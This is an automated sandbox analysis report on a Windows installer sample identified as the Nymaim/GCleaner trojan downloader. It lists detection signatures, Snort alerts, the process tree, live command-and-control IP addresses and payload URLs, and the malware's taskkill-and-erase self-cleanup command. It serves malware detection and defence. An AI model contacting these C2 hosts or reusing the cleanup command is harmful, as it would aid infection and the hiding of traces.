Edit tour

Windows Analysis Report
1ibwQtrqNy.exe

Overview

General Information

Sample Name:	1ibwQtrqNy.exe
Original Sample Name:	65dd3ed482f22906e70dd004a73e5cef.exe
Analysis ID:	877011
MD5:	65dd3ed482f22906e70dd004a73e5cef
SHA1:	ffe8496a9d3f0a2f5571e683b466d3f3d2092172
SHA256:	15f5d9cd2cb95efaecbf0bc1a455cd6cc301848a5ba71cc4788e4b68c327382d
Tags:	32exetrojan
Infos:

Detection

Nymaim

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Detected unpacking (overwrites its own PE header)

Yara detected Nymaim

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Uses taskkill to terminate processes

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to detect sandboxes (foreground window change detection)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

1ibwQtrqNy.exe (PID: 4080 cmdline: C:\Users\user\Desktop\1ibwQtrqNy.exe MD5: 65DD3ED482F22906E70DD004A73E5CEF)

is-2H2P0.tmp (PID: 4944 cmdline: "C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp" /SL4 $2048E "C:\Users\user\Desktop\1ibwQtrqNy.exe" 1911253 52224 MD5: 1F2BC482C99F55A713CF6CA3C1FF04F8)

Rec528.exe (PID: 2576 cmdline: "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe" MD5: 9D3532E4DB1BBBCCA78E0D2DC8AE2572)

IFLIjCfKSqd.exe (PID: 7052 cmdline: MD5: 3FB36CB0B7172E5298D2992D42984D06)

cmd.exe (PID: 5924 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "Rec528.exe" /f & erase "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 2288 cmdline: taskkill /im "Rec528.exe" /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Nymaim	Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.	No Attribution	https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/ https://bitbucket.org/daniel_plohmann/idapatchwork https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/goznym/ https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim	https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim

Malware Configuration

Threatname: Nymaim

{"C2 addresses": ["45.12.253.56", "45.12.253.72", "45.12.253.98", "45.12.253.75"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.443567321.0000000003260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Unpacked PEs

Source	Rule	Description	Author
2.2.Rec528.exe.400000.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.Rec528.exe.3260000.3.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.Rec528.exe.400000.1.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.Rec528.exe.3260000.3.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Snort Signatures

ET TROJAN GCleaner CnC Checkin M1 - Source IP: 192.168.2.3 - Destination IP: 45.12.253.72

Timestamp:	192.168.2.345.12.253.7249698802044031 05/28/23-14:31:02.886782
SID:	2044031
Source Port:	49698
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN GCleaner CnC Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 45.12.253.75

Timestamp:	192.168.2.345.12.253.7549699802044033 05/28/23-14:31:35.542564
SID:	2044033
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN GCleaner Payload Retrieval Attempt - Source IP: 192.168.2.3 - Destination IP: 45.12.253.72

Timestamp:	192.168.2.345.12.253.7249698802044032 05/28/23-14:31:02.924623
SID:	2044032
Source Port:	49698
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN GCleaner Downloader - Payload Response - Source IP: 45.12.253.72 - Destination IP: 192.168.2.3

Timestamp:	45.12.253.72192.168.2.380496982044037 05/28/23-14:31:02.950793
SID:	2044037
Source Port:	80
Destination Port:	49698
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential GCleaner CnC Checkin - Source IP: 192.168.2.3 - Destination IP: 45.12.253.56

Timestamp:	192.168.2.345.12.253.5649697802044034 05/28/23-14:31:02.810921
SID:	2044034
Source Port:	49697
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.2.Rec528.exe.400000.1.unpack

Malware Configuration Extractor: Nymaim {"C2 addresses": ["45.12.253.56", "45.12.253.72", "45.12.253.98", "45.12.253.75"]}

Multi AV Scanner detection for submitted file

Source: 1ibwQtrqNy.exe

Virustotal: Detection: 19%

Perma Link

Antivirus detection for URL or domain

Source: http://45.12.253.75/dll.phpi	Avira URL Cloud: Label: malware
Source: http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixintej	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phph	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phpd	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.php%	Avira URL Cloud: Label: malware
Source: http://45.12.253.72/del.php	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phpQ	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phpP	Avira URL Cloud: Label: malware
Source: http://45.12.253.72/default/stuk.phpi	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phpX	Avira URL Cloud: Label: malware
Source: http://45.12.253.72/default/stuk.phpt	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phpL	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.phps	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.php4	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.php0	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.php9	Avira URL Cloud: Label: malware
Source: http://45.12.253.75/dll.php8	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Avira: detection malicious, Label: HEUR/AGEN.1314978

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe

ReversingLabs: Detection: 61%

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_10001000 ISCryptGetVersion,	1_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_10001130 ArcFourCrypt,	1_2_10001130
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00403770 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,___std_exception_copy,	2_2_00403770

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Unpacked PE file: 2.2.Rec528.exe.400000.1.unpack

Source: 1ibwQtrqNy.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0046CA68 FindFirstFileA,FindNextFileA,FindClose,	1_2_0046CA68
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00474A14 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00474A14
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045157C FindFirstFileA,GetLastError,	1_2_0045157C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045E244 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045E244
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0048AC5C FindFirstFileA,6C8D69D0,FindNextFileA,FindClose,	1_2_0048AC5C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00472CD4 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00472CD4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045CDA4 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045CDA4
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045DEB0 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045DEB0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,LdrInitializeThunk,__Init_thread_footer,LdrInitializeThunk,LdrInitializeThunk,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,	2_2_00404490
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00423DAD LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	2_2_00423DAD
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_10007E39 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	2_2_10007E39

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044034 ET TROJAN Potential GCleaner CnC Checkin 192.168.2.3:49697 -> 45.12.253.56:80
Source: Traffic	Snort IDS: 2044031 ET TROJAN GCleaner CnC Checkin M1 192.168.2.3:49698 -> 45.12.253.72:80
Source: Traffic	Snort IDS: 2044032 ET TROJAN GCleaner Payload Retrieval Attempt 192.168.2.3:49698 -> 45.12.253.72:80
Source: Traffic	Snort IDS: 2044037 ET TROJAN GCleaner Downloader - Payload Response 45.12.253.72:80 -> 192.168.2.3:49698
Source: Traffic	Snort IDS: 2044033 ET TROJAN GCleaner CnC Checkin M2 192.168.2.3:49699 -> 45.12.253.75:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 45.12.253.56
Source: Malware configuration extractor	IPs: 45.12.253.72
Source: Malware configuration extractor	IPs: 45.12.253.98
Source: Malware configuration extractor	IPs: 45.12.253.75

Source: Joe Sandbox View	ASN Name: CMCSUS CMCSUS
Source: Joe Sandbox View	ASN Name: CMCSUS CMCSUS

Source: Joe Sandbox View	IP Address: 45.12.253.72 45.12.253.72
Source: Joe Sandbox View	IP Address: 45.12.253.72 45.12.253.72

Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.56
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.56
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.56
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.56
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.12.253.72

Source: Rec528.exe, 00000002.00000002.443117659.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte
Source: Rec528.exe, 00000002.00000002.443117659.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixintej
Source: Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.72/default/puk.php
Source: Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.72/default/stuk.php
Source: Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.72/default/stuk.phpi
Source: Rec528.exe, 00000002.00000002.443117659.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.72/default/stuk.phpt
Source: Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430360645.0000000001745000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.367385976.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.72/del.php
Source: Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.php
Source: Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.php%
Source: Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.php0
Source: Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.php4
Source: Rec528.exe, 00000002.00000002.443117659.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.367385976.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.php8
Source: Rec528.exe, 00000002.00000003.373976623.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.php9
Source: Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpH
Source: Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpL
Source: Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpP
Source: Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpQ
Source: Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpX
Source: Rec528.exe, 00000002.00000003.367385976.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.373976623.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpd
Source: Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phph
Source: Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpi
Source: Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpp
Source: Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.408599172.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.401932962.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.415189342.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phps
Source: Rec528.exe, 00000002.00000003.373976623.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.395381822.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.422045948.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.430338328.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.380624834.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.000000000173B000.00000004.00000020.00020000.00000000.sdmp, Rec528.exe, 00000002.00000003.388832564.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.12.253.75/dll.phpx
Source: is-0I9HC.tmp.1.dr	String found in binary or memory: http://www.finalrecovery.com/buy.htm
Source: is-EJ9G4.tmp.1.dr	String found in binary or memory: http://www.imagemagick.org
Source: 1ibwQtrqNy.exe	String found in binary or memory: http://www.innosetup.com
Source: is-2H2P0.tmp, is-2H2P0.tmp, 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	String found in binary or memory: http://www.innosetup.com/
Source: 1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp, 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp, is-2H2P0.tmp, 00000001.00000000.351821763.00000000004BC000.00000002.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	String found in binary or memory: http://www.innosetup.comDVarFileInfo$
